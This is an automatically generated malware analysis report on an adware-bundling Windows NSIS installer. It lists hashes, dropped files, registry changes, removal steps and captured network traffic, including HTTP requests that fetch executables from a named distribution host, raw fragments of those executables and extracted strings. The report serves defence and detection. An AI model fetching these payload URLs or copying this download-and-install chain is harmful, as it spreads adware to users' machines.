not-a-virus:AdWare.Win32.AdLoad.wvdh (Kaspersky), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan, Adware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: c6ca87bc34a76c06640d4647b5d30681
SHA1: 250322c4abf9f144bab5ee001f71b76f36d1ecaf
SHA256: 42f9522facf0ceacf4c2c142ab031c617189f700f6b5c6618d15a988789cb29c
SSDeep: 98304:UEuZ4a4QzNXW1eOermsoExzWAs/dCK0iB9wzshSg:9uxzVWhe4KqAs/dT0iBmzshSg
Size: 5065944 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-12-06 00:50:41
Analyzed on: Windows7 SP1 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:2712
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:2712 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\agent[1].exe (120919 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\DLLWebCount2.dll (80687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\KillProcDLL.dll (2435 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\client[1].exe (214346 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Jabra\Jabra.exe (227200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\GetLoadCaption.dll (81083 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\NSISList.dll (2457 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Jabra\JabraAgent.exe (128293 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\nsRandom.dll (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\System.dll (23 bytes)
The Trojan deletes the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsm403A.tmp (0 bytes)
Registry activity
The process %original file name%.exe:2712 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\c6ca87bc34a76c06640d4647b5d30681_RASAPI32]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\c6ca87bc34a76c06640d4647b5d30681_RASAPI32]
"FileDirectory" = "%windir%\tracing"
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\c6ca87bc34a76c06640d4647b5d30681_RASMANCS]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\c6ca87bc34a76c06640d4647b5d30681_RASAPI32]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\c6ca87bc34a76c06640d4647b5d30681_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 09 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\c6ca87bc34a76c06640d4647b5d30681_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"
Dropped PE files
MD5 | File path |
---|---|
a1f36a48656fb629b0d23f69c651ef71 | c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\client[1].exe |
4dcccec5e9174e875330ab7768b18784 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\DLLWebCount2.dll |
ff6f232df8569c889062f58d68cb7040 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\GetLoadCaption.dll |
92ec4dd8c0ddd8c4305ae1684ab65fb0 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll |
3599d30554ad65dc29fc689217d2152e | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\KillProcDLL.dll |
2e0785f18f8714393bc4bc1fe170eadf | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\NSISList.dll |
c17103ae9072a06da581dec998343fc1 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\System.dll |
ab467b8dfaa660a0f0e5b26e28af5735 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\nsRandom.dll |
a1f36a48656fb629b0d23f69c651ef71 | c:\Users\"%CurrentUserName%"\AppData\Roaming\Jabra\Jabra.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JYNOWECL\agent[1].exe (120919 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\DLLWebCount2.dll (80687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\KillProcDLL.dll (2435 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll (46 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\25FDO7QC\client[1].exe (214346 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Jabra\Jabra.exe (227200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\GetLoadCaption.dll (81083 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\NSISList.dll (2457 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Jabra\JabraAgent.exe (128293 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\nsRandom.dll (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\System.dll (23 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 22738 | 23040 | 4.45908 | c69726ed422d3dcfdec9731986daa752 |
.rdata | 28672 | 4496 | 4608 | 3.59034 | a2c7710fa66fcbb43c7ef0ab9eea5e9a |
.data | 36864 | 110456 | 1024 | 3.20082 | e59cdcb732e4bfbc84cc61dd68354f78 |
.ndata | 147456 | 65536 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rsrc | 212992 | 16696 | 16896 | 4.14468 | e3ca4c048e2beb164096d7c4b15b7a2c |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://download.networkexpress.co.kr/jabra/1018/client.exe | 1.234.42.53 |
hxxp://download.networkexpress.co.kr/jabra/1018/agent.exe | 1.234.42.53 |
config.networkexpress.co.kr | |
dns.msftncsi.com | |
count.networkexpress.co.kr |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /jabra/1018/client.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: download.networkexpress.co.kr
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 15 Dec 2016 01:47:55 GMT
Server: Apache
Last-Modified: Fri, 18 Nov 2016 06:40:17 GMT
ETag: "3002b3-38b098-5418d944632a4"
Accept-Ranges: bytes
Content-Length: 3715224
Connection: close
Content-Type: application/x-msdownload
MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........\...=...=...=..6.W..=..6.U.,=..6.T..=....m..=..gd...=...E"..=...E%..=...E5..=...=...>...c...=...c...=...c...<...c...=...cY..=...=1..=...c...=..Rich.=..........PE..L...b.-X.................R...........4.......p....@..........................P9...../.8...@...........................................!...............8......P7.........p...........................`...@............p...............................text...\Q.......R.................. ..`.rdata..|e...p...f...V..............@..@.data............`..................@....gfids.. ...........................@..@.giats.......`!....... .............@..@.tls.........p!....... .............@....rsrc.........!....... .............@..@.reloc.......P7.......6.............@..B........................................................................................................................................................................j...._..\...hp[Y....._...\....._......7'..Y.h.[Y.. '..Y.h.[Y...'..Y.h.\Y...'..Y.h.\Y...'..Y.h.\Y...&..Y.h0.Y....wY..8>_..h`.Y....wY..x>_... ?_......h!\Y...&..Y.h..^.......j.. A_.......%,A_..._..h \Y... A_.l.Y...4B_."....~&..Y.j..8B_.......Û_...%HB_..h6\Y...8B_...Y...LC_.$....D&..Y.h..Y....wY...[_..j.. \_......hA\Y...&..Y.j.. ]_......hK\Y...&..Y.j...[_..j...hU\Y...%..Y.j...\_..R...h_\Y...%..Y.h..Y....wY...[_..h,.Y....wY...]_..hi\Y...%..Y.hs\Y...%..Y.h}\Y...%..Y..|^_..w...h.\Y..w%..Y...^_..Y.
<<< skipped >>>
GET /jabra/1018/agent.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: download.networkexpress.co.kr
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 15 Dec 2016 01:48:28 GMT
Server: Apache
Last-Modified: Wed, 16 Nov 2016 02:00:56 GMT
ETag: "3002b1-36a298-54161718d1d6c"
Accept-Ranges: bytes
Content-Length: 3580568
Connection: close
Content-Type: application/x-msdownload
MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........................H.......H..z....H.......:%....._.........j.......m.......}.....................................-.......(.........y.....-.......Rich............PE..L...P. X..........................................@..........................@7.....J.6...@.................................,.........................6......P5.........p...................|....... ...@............................................text...8........................... ..`.rdata..N...........................@..@.data............\..................@....gfids...............&..............@..@.giats.......`......................@..@.tls.........p......................@....rsrc...............................@..@.reloc.......P5.......4.............@..B........................................................................................................................................................................j....]......h`.W.....].p.Z...4.]..........Y.h..W......Y.h..W......Y.h..W......Y.h..W......Y.h..W......Y.hP.X.....W...J]..hd.X.....W..0K]....K]......h..W..q...Y.h|.\..#....j...M].......%.M]...%.M]..h..W....M]...X...lN]."....,...Y.j..pN]..^....%|N]...%.N]..h&.W...pN]...X....O].$........Y.h1.W......Y.h;.W......Y.h< X.....W...g]..j...h]..|...hE.W......Y.j...i]..d...hO.W......Y.j...g]..L...hY.W......Y.j...h]..4...hc.W..i...Y.hT X.....W...g]..hd X.....W...i]..hm.W..;...Y...i]...h..hw.W..%...Y..0j]..y...h..W...
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_2712:
.text
.text
`.rdata
`.rdata
@.data
@.data
.ndata
.ndata
.rsrc
.rsrc
uDSSh
uDSSh
hu2.iu
hu2.iu
.DEFAULT\Control Panel\International
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHFileOperationA
SHFileOperationA
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
RegEnumKeyA
RegEnumKeyA
RegCreateKeyExA
RegCreateKeyExA
RegCloseKey
RegCloseKey
RegDeleteKeyA
RegDeleteKeyA
RegOpenKeyExA
RegOpenKeyExA
ADVAPI32.dll
ADVAPI32.dll
COMCTL32.dll
COMCTL32.dll
ole32.dll
ole32.dll
VERSION.dll
VERSION.dll
verifying installer: %d%%
verifying installer: %d%%
hXXp://nsis.sf.net/NSIS_Error
hXXp://nsis.sf.net/NSIS_Error
... %d%%
... %d%%
~nsu.tmp
~nsu.tmp
%u.%u%s%s
%u.%u%s%s
RegDeleteKeyExA
RegDeleteKeyExA
%s=%s
%s=%s
*?|/":
*?|/":
sers\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll
sers\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll
L.dll
L.dll
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp\INetC.dll
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc404B.tmp
%ctSNI
%ctSNI
`.data
`.data
@.reloc
@.reloc
SIZE %s
SIZE %s
REST %d
REST %d
FtpGetFileSize
FtpGetFileSize
Proxy-authorization: basic %s
Proxy-authorization: basic %s
Authorization: basic %s
Authorization: basic %s
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Content-Length: %d
FtpCommandA
FtpCommandA
%s:%s
%s:%s
%u bytes
%u bytes
%u kB
%u kB
%u MB
%u MB
%s - %s
%s - %s
%d:d:d
%d:d:d
/password
/password
Filename: %s
Filename: %s
NSIS_Inetc (Mozilla)
NSIS_Inetc (Mozilla)
(Err=%d)
(Err=%d)
Uploading %s
Uploading %s
D$%SP
D$%SP
t.UWh
t.UWh
KERNEL32.DLL
KERNEL32.DLL
USER32.DLL
USER32.DLL
COMCTL32.DLL
COMCTL32.DLL
HttpQueryInfoA
HttpQueryInfoA
FtpCreateDirectoryA
FtpCreateDirectoryA
FtpOpenFileA
FtpOpenFileA
HttpEndRequestA
HttpEndRequestA
HttpAddRequestHeadersA
HttpAddRequestHeadersA
HttpSendRequestA
HttpSendRequestA
InternetCrackUrlA
InternetCrackUrlA
HttpOpenRequestA
HttpOpenRequestA
HttpSendRequestExA
HttpSendRequestExA
WININET.DLL
WININET.DLL
INetC.dll
INetC.dll
Open URL Error
Open URL Error
URL Parts Error
URL Parts Error
FtpCreateDir failed (550)
FtpCreateDir failed (550)
Error FTP path (550)
Error FTP path (550)
Downloading %s
Downloading %s
%dkB (%d%%) of %dkB @ %d.dkB/s
%dkB (%d%%) of %dkB @ %d.dkB/s
(%d %s%s remaining)
(%d %s%s remaining)
z6?%XLT
z6?%XLT
:4.IB
:4.IB
nsc404B.tmp
nsc404B.tmp
3715224
3715224
\"%CurrentUserName%"\AppData\Roaming\Jabra\Jabra.exe
\"%CurrentUserName%"\AppData\Roaming\Jabra\Jabra.exe
sandbox_svc.exe
sandbox_svc.exe
c06640d4647b5d30681.exe
c06640d4647b5d30681.exe
c:\%original file name%.exe
c:\%original file name%.exe
d:\sandbox_svc.exe
d:\sandbox_svc.exe
640d4647b5d30681.exe
640d4647b5d30681.exe
C:\ProgramData\AppService
C:\ProgramData\AppService
%original file name%.exe
%original file name%.exe
ers\"%CurrentUserName%"\AppData\Local\Temp\nsm403A.tmp
ers\"%CurrentUserName%"\AppData\Local\Temp\nsm403A.tmp
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\
3580568
3580568
3688088
3688088
5522184
5522184
)-.Yln
)-.Yln
Nullsoft Install System v2.46
Nullsoft Install System v2.46
1.0.5.2
1.0.5.2
inetc.dll
inetc.dll
%original file name%.exe_2712_rwx_10004000_00001000:
callback%d
callback%d